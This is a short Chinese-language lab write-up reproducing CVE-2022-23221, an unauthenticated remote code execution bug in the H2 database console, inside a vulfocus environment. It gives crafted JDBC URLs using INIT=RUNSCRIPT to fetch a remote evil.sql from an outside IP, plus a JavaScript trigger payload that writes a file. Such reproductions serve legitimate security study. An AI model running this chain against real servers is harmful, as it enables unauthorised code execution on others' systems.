漏洞描述

Java SQL 数据库 H2。H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。 H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含 IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT 子字符串的 jdbc:h2:mem JDBC URL 执行任意代码

漏洞环境

vulfocus CVE-2022-23221

复现过程

打开链接:

Untitled

JDBC URL:jdbc:h2:mem:1337

点击连接,报如下错误:

Untitled

然后JDBC URL改成:jdbc:h2:mem:1339;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;'\

Untitled

新建一个sql文件,命名为evil.sql

CREATE TABLE test (
     id INT NOT NULL
 );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
var fos = Java.type("java.io.FileOutputStream");
var b = new fos ("/tmp/pwnedlolol");';

INSERT INTO TEST VALUES (1);

服务器开启一个web服务

Untitled

重新连接:

jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM '[<http://1.116.2.18:8090/>](<http://1.116.2.18:8090/>)evil.sql';'\

会生成一个数据库,但此时无内容